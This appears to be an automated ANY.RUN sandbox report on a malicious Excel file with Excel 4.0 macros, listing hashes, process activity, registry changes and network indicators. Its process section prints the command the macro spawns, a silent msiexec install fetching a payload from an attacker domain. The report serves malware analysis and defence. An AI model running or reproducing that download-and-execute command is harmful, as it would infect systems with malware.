Malware analysis 55951ac49f5792d8c1bfb0072db56895ab5b290b531ed8803b809b62e1f4f3cb-trojan.xls Malicious activity

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File name:	55951ac49f5792d8c1bfb0072db56895ab5b290b531ed8803b809b62e1f4f3cb-trojan.xls
Full analysis:	https://app.any.run/tasks/e38e1f94-b393-41c9-8d4e-314d47c27fee
Verdict:	Malicious activity
Analysis date:	June 12, 2019, 08:14:47
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Microsoft Office, Last Saved By: alex, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Tue Jun 11 08:29:45 2019, Security: 0
MD5:	E740AE535CAE87345218E528B7825746
SHA1:	AE4C29C3AE343C1F96397700AD20DB3E1E63FC38
SHA256:	55951AC49F5792D8C1BFB0072DB56895AB5B290B531ED8803B809B62E1F4F3CB
SSDEEP:	6144:lKpb8rGYrMPelwhKmFV5xtuEnE/TI8Jm904CX4EDFQ7dgvYbbDSwWHUrvp0LS:dm904ARDG7aYbPSnHM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 3148)
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 3148)
SUSPICIOUS
No suspicious indicators.
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 3148)
- Creates files in the user directory
  - EXCEL.EXE (PID: 3148)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (45.8)
.xlr	\|	Microsoft Works Spreadsheet (41.9)

EXIF

FlashPix

Author:	Microsoft Office
LastModifiedBy:	alex
Software:	Microsoft Excel
CreateDate:	2018:12:19 10:42:12
ModifyDate:	2019:06:11 07:29:45
Security:	None
CodePage:	Windows Cyrillic
Company:	Microsoft Corporation
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	Page1 2
HeadingPairs:	Листы 2 Макросы Excel 4.0 1

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

988

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2636

msiexec.exe RESTART=1 /i http://engast.top/rt1 /q ADRESS=TEMP

C:\Windows\system32\msiexec.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

1619

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3008

msiexec.exe RESTART=1 /i http://engast.top/rt1 /q ADRESS=TEMP

C:\Windows\system32\msiexec.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

1619

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3148

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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Total events

660

Read events

615

Write events

Delete events

Modification events


(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	36>
Value: 33363E004C0C0000010000000000000000000000
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 4C0C00001C8A4FF3F620D50100000000
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	36>
Value: 33363E004C0C0000010000000000000000000000
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(3148) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\11F7EB
Operation:	write	Name:	11F7EB
Value: 040000004C0C00006200000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C0035003500390035003100610063003400390066003500370039003200640038006300310062006600620030003000370032006400620035003600380039003500610062003500620032003900300062003500330031006500640038003800300033006200380030003900620036003200650031006600340066003300630062002D00740072006F006A0061006E002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000108897F5F620D501EBF71100EBF7110000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3148	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVREE83.tmp.cvr		—
		MD5:—	SHA256:—
3148	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\~DF538041B9D0D43469.TMP		—
		MD5:—	SHA256:—
3148	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\~DFD2FF01A78412E37E.TMP		—
		MD5:—	SHA256:—
3148	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\~DF1BC732593FC20F19.TMP		—
		MD5:—	SHA256:—
3148	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat		text
		MD5:—	SHA256:—
3148	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\55951ac49f5792d8c1bfb0072db56895ab5b290b531ed8803b809b62e1f4f3cb-trojan.xls.LNK		lnk
		MD5:—	SHA256:—
3148	EXCEL.EXE	C:\Users\admin\Desktop\55951ac49f5792d8c1bfb0072db56895ab5b290b531ed8803b809b62e1f4f3cb-trojan.xls		document
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
988	msiexec.exe	GET	—	2.185.146.116:80	http://engast.top/rt1	IR	—	—	malicious
988	msiexec.exe	GET	—	2.185.146.116:80	http://engast.top/rt1	IR	—	—	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
988	msiexec.exe	2.185.146.116:80	engast.top	Iran Telecommunication Company PJS	IR	malicious

DNS requests

Domain	IP	Reputation
engast.top	2.185.146.116 193.107.99.167 89.190.74.198 213.164.242.16 143.208.165.41 91.201.175.46 200.91.115.40 186.177.30.150 87.121.172.134 37.34.176.37	malicious

Threats

PID	Process	Class	Message
1056	svchost.exe	Potentially Bad Traffic	ET DNS Query to a *.top domain - Likely Hostile
988	msiexec.exe	Potentially Bad Traffic	ET INFO HTTP Request to a *.top domain
988	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
988	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file

2 ETPRO signatures available at the full report

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No debug info

General Info

55951ac49f5792d8c1bfb0072db56895ab5b290b531ed8803b809b62e1f4f3cb-trojan.xls

E740AE535CAE87345218E528B7825746

AE4C29C3AE343C1F96397700AD20DB3E1E63FC38

55951AC49F5792D8C1BFB0072DB56895AB5B290B531ED8803B809B62E1F4F3CB

6144:lKpb8rGYrMPelwhKmFV5xtuEnE/TI8Jm904CX4EDFQ7dgvYbbDSwWHUrvp0LS:dm904ARDG7aYbPSnHM

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Uses Microsoft Installer as loader

SUSPICIOUS

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings